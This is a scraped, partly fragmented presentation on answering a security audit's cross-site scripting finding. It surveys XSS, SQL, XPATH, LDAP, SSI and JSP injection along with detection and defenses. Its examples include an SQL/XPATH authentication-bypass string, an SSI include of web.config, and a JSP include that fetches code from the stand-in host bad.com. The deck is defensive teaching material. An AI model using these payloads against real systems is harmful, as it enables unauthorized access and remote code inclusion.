Web Audit Vulnerability

skatechildrenΛογισμικό & κατασκευή λογ/κού

3 Νοε 2013 (πριν από 4 χρόνια και 8 μήνες)

104 εμφανίσεις

Web Audit Vulnerability

site scripting (XSS) concerns

by Ron Widitz

Business Problem

Independent security audit

Regulatory compliance

XSS issue raised

Must provide a response

Audit Response


Prove issue to be a non


Describe actions to take

Resolution Steps

Investigate security concerns

Restate as IT problem(s)

Determine solution(s)

Provide audit response

Mitigate risk


Define cross
site scripting (XSS)

Examine how auditors applied

Identify risks

Research preliminary solutions

site scripting

Attacker goal: their code into browser

XSS forces a website to execute
malicious code in browser

Browser user is the intended victim

Why? Account hijacking, keystroke
recording, intranet hacking, theft…

XSS concept

Auditor finding

Freeform edit box

Message to
Customer Service

XSS types

Immediate reflection : phishing

based : 95 JavaScript methods

Redirection : header, meta, dynamic

Multimedia : Flash, QT, PDF scripts

Site Request Forgery (CSRF)


(e.g. non
persistent search box)


XSS abuses render engines or plug

Steal browser cookies

Steal session info for replay attack

Malware or bot installation

Redirect or phishing attempt

Our actual risk

Currently, none.

Edit box info viewed in thick client

DHTML or JavaScript needs browser

Our thick client is Java Swing

Planned Audit Response

Could indicate “no audit problem”

Might have future impact

Address through dev standards

Consider application firewall

Widen problem scope to include all
user agent injection tactics

More on Web Attacks

Cross Site Scripting

SQL Injection

XPATH Injection

LDAP Injection

SSI (server side inclusion) Injection

JSP (Java server pages) Injection


For each injection issue:

Vulnerability description documented

Preventative coding technique

Discuss with App Dev teams

Publish and socialize direction

Include in peer reviews/code walkthroughs

Set deadlines for full incorporation

Communicate with auditors

Cross Site Scripting
Example 1

Trudy posts the following JavaScript on a
message board:





When Bob views the posted message, his
browser executes the malicious script, and
his session cookie is sent to Trudy

Cross Site Scripting
Example 2

Trudy sends a link to the following URL to Bob that
will take him to a personalized page:


A page is returned that contains the malicious
script instead of the username Bob, and Bob’s
browser executes the script causing his session
cookie to be sent to Trudy

Hex is often used in place of ASCII for the
JavaScript to make the URL less suspicious

Cross Site Scripting

A client usually is not supposed to send
scripts to servers

If the server receives <SCRIPT>… or the
hex equivalent in an incoming packet and
that same script is sent unsanitized in an
outgoing packet or in an outgoing SQL
statement to the database, then an attack
has occurred

A sanitized script could look like

SQL Injection Example

Trudy accesses Bob’s website; in which he does not
validate input on his sign in form

Runs a SQL statement like the following:

SELECT * from Accounts where username =
“USER_NAME” and password = “USER_PASS”;

In the password field, she types as her password:

X” OR “x”=“x

Manipulates the server into running the following SQL

SELECT * from Accounts where username =
“USER_NAME” and password=“X” OR “x”=“x”;

Selects all account information

SQL Injection Detection

To detect and prevent this at Bob’s

Log any traffic from Trudy to Bob
containing form data containing a
quotation mark

Match any outgoing SQL statements from
Bob’s web server to his database server
and verify that the quotation marks Trudy
supplied were escaped

If they weren’t, take action

XPATH Injection Example

Similar to SQL injection

Bob has a form that does not sanitize user
provided input before using it as part of an
XPATH query::

string(//user[name/text()=’USER_NAME' and

Trudy again can provide the following
password to change the statement’s logic:

X’ OR ‘x’=‘x

The statement thus selects the first account

LDAP Injection Example

Server using LDAP for authentication

User name initialized, but then uses
unchecked user input to create a query

filter = "(uid=" + CStr(userName) + ")" '
searching for the user entry

Attacker can exploit using special


LDAP Injection Detection

Detection is based off of usage of
special LDAP characters

System monitors input for special

Either scrubs incoming input or watches
for unescaped output passed to database

Detection approach is blackbox

SSI Injection Example

Bob has his server configured to use Server
Side Includes

Trudy passes input with an SSI embedded

#INCLUDE VIRTUAL="/web.config"

SSI inserts malicious code into normal
webpages upon next request

Future legitimate users get content
containing the tainted code included by the

SSI Injection Detection

Bob’s system needs SSI enabled, so he
uses our system on local servers

SSI code can be detected by its specific

HTML comment (<!

>) containing a command

SSI commands can be stripped on ingress

Can also deny outgoing packets that do not
include SSI as inputted (means successful

Detection approach is blackbox

JSP Injection Example

Similar to SSI injection

Bob has a portal server configured to
use dynamic code for templates

Trudy passes input with an embedded
<jsp:include “http://bad.com/1.jsp” >

malicious code inserted into webpage

JSP Injection Prevention

Prefer static include <%include …>

Don’t allow file inclusion outside of
server via Java2 Security policies

Firewall rules to prevent outbound
requests from server

Input validation coding

Choose portal software not requiring
dynamic includes or code execution

Defense Approaches

Web firewall/IDS

ModSecurity for Apache

Commercial: SecureSphere from

Static code analysis

Open source: Nikto


Acutenix Web Vulnerability Scanner


Education on good coding

HTML encoding on input (server

Input validation/filtering



Backup Slides

user agent injection


HTTP Response Splitting

SQL Injection

XML Injection

JSP Code Injection

LDAP Injection


Application firewall

HTML encoding on input

Input validation/filtering

Coding techniques with output

Session key enforced to
prevent CSRF

XPATH Injection

Again, our system can detect this by
matching any submission by Trudy
containing a quotation mark against
outbound XPATH queries

Correction can again be done by
escaping any rogue quotation marks
Trudy may have inserted

Detection approach is blackbox